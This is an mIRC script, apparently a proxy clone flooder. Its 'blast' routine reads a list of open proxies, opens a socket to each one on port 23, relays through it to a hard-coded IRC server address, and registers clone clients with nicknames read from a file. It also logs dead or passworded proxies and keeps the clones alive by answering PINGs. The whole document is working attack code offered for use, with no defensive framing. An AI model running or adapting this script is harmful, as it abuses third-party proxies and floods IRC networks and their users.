alias wc_close wc_cleanup
alias wc_quit wc_out QUIT $iif($0,: $+ $1-)
alias wc_out {
if ($sock(wc) == $null) return
if ($window(@wc_debug)) echo 10 -ti2 @wc_debug >> $1-
sockwrite -n wc* $1-
}
alias wc_debug {
/window -el15 @wc_debug
/aline -l 09 @wc_debug _______________
/aline -l 0 @wc_debug ± Actions ±
/aline -l 15 @wc_debug Connect
/aline -l 15 @wc_debug Join
/aline -l 15 @wc_debug Register
/aline -l 09 @wc_debug ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
if ($_online) titlebar @wc_debug - Nick: $_me
else titlebar @wc_debug - Disconnected
}
alias -l wc_cleanup {
if ($window(@wc_debug)) titlebar @wc_debug - Disconnected
sockclose wc
.disable #wc_connecting
.timer 1 0 unset %wc_me
.signal -n wceDISCONNECT
}
alias -l wc_nick return $read(nicks.txt)
alias -l wc_nick2 return $read(nicks.txt)
alias -l wc_user return $read(nicks.txt)
alias -l wc_realname return $read(nicks.txt)
alias _getnick return $gettok($_strip:($1),1,33)
alias _getuser return $gettok($gettok($1,2,33),1,64)
alias _gethost return $gettok($1,2,64)
alias _strip: return $iif(:* iswm $1,$right($1,-1),$1)
alias _me if ($isid) return %wc_me | set %wc_me $$1 | if ($window(@wc_debug)) titlebar @wc_debug - Nick: %wc_me
alias _online return $iif($sock(wc),$true,$false)
alias blast {
wc_debug
set %line 0
set %l 0
echo -a Loading $lines(pr0x.txt) Proxy Clones
;.enable #wc_connecting
blast2
}
alias nicks {
if ( %l == $lines(nicks.txt) ) { var %l 0 }
else {
inc %l 1
set %nick $gettok($read(nicks.txt, %line),1,32)
}
}
alias blast2 {
if ( %line == $lines(pr0x.txt) ) { halt }
else {
inc %line 1
sockopen wc $+ $gettok($read(pr0x.txt, %line),1,32) $+ $rand(1,100) $+ $rand(1,100) $gettok($read(pr0x.txt, %line),1,32) 23
blast2
}
}
on *:sockopen:wc*: {
if ($sockerr) {
return $wc_cleanup
echo -s Dead Socket Detected On: $sock($sockname).ip
blast2
}
else {
nicks
sockwrite -n wc* OPEN 72.20.25.153 6667
wc_out NICK $read(nicks.txt)
wc_out USER $read(nicks.txt) "" "72.20.25.153" : $read(nicks.txt)
}
blast2
}
on *:sockread:wc*:{
if ($sockerr) return $wc_cleanup
var %badpass
sockread %badpass
var %t
while ($sock(wc).rq) {
sockread %t | tokenize 32 %t
if ($sockbr == 0) return
if ($window(@wc_debug)) echo 11 -ti2 @wc_debug << $1-
if ($1 == PING) wc_out PONG $2-
else .signal -n wce_ $+ $2 $1-
}
if ( lost. isin %badpass ) {
echo -s $sock($sockname).ip Died.
sockclose $sockname
}
if ( password isin %badpass ) {
echo -s Passworded: $sock($sockname).ip
sockclose $sockname
}
else { return }
}
on *:input:@wc_debug:{
if ($left($1,1) == $readini($mircini,text,commandchar)) && (!$ctrlenter) return
wc_out $1-
haltdef
}
on *:sockwrite:wc:if ($sockerr) return $wc_cleanup
on *:sockclose:wc:return $wc_cleanup
on *:signal:wce_NICK:if ($_getnick($1) == $_me) _me $_strip:($3)
on *:signal:wce_PRIVMSG:{
if (:ACTION * iswm $4-) .signal -n wceACTION $1 ACTION $3 $left($5-,-1)
elseif (:* iswm $4-) .signal -n wceCTCP $1 CTCP $3 $mid($_strip:($4-),2,-1)
else .signal -n wceTEXT $1 TEXT $3 $_strip:($4-)
}
on *:signal:wce_NOTICE:{
if (:* iswm $4-) .signal -n wceCTCPREPLY $1 CTCPREPLY $3 $mid($_strip:($4-),2,-1)
elseif (. isin $_getnick($1)) .signal -n wceSNOTICE $1 SNOTICE $3 $_strip:($4-)
else .signal -n wceNOTICE $1 NOTICE $3 $_strip:($4-)
}
#wc_connecting off
on *:signal:wce_433:wc_out NICK $nicks
on *:signal:wce_422:wc_connected $3
on *:signal:wce_376:wc_connected $3
alias -l wc_connected {
_me $1
.disable #wc_connecting
.signal -n wceCONNECT
}
#wc_connecting end
